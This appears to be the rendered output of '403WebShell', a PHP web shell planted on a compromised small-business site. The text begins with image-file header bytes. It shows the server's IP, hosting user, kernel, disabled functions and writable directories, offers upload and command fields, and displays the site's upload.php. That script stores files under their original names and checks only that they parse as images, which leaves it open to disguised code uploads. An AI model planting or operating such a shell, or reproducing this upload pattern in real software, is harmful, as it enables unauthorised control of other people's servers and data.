���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 147.79.69.31  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/carxmotors.in/public_html/product-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/carxmotors.in/public_html/product-admin/upload.php
<?php
// upload.php
$targetDir = "uploads/";
$uploadStatus = array(); 

foreach ($_FILES['productImages']['name'] as $key => $value) {
    $fileTmpPath = $_FILES['productImages']['tmp_name'][$key];
    $fileName = $_FILES['productImages']['name'][$key];
    $fileSize = $_FILES['productImages']['size'][$key];
    $fileType = $_FILES['productImages']['type'][$key];

    $targetFilePath = $targetDir . basename($fileName);

    if (getimagesize($fileTmpPath)) {
        if ($fileSize <= 5 * 1024 * 1024) {
            if (move_uploaded_file($fileTmpPath, $targetFilePath)) {
                $uploadStatus[] = "File uploaded successfully: $fileName";
            } else {
                $uploadStatus[] = "Error uploading file: $fileName";
            }
        } else {
            $uploadStatus[] = "File is too large: $fileName";
        }
    } else {
        $uploadStatus[] = "File is not an image: $fileName";
    }
}

echo json_encode($uploadStatus);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit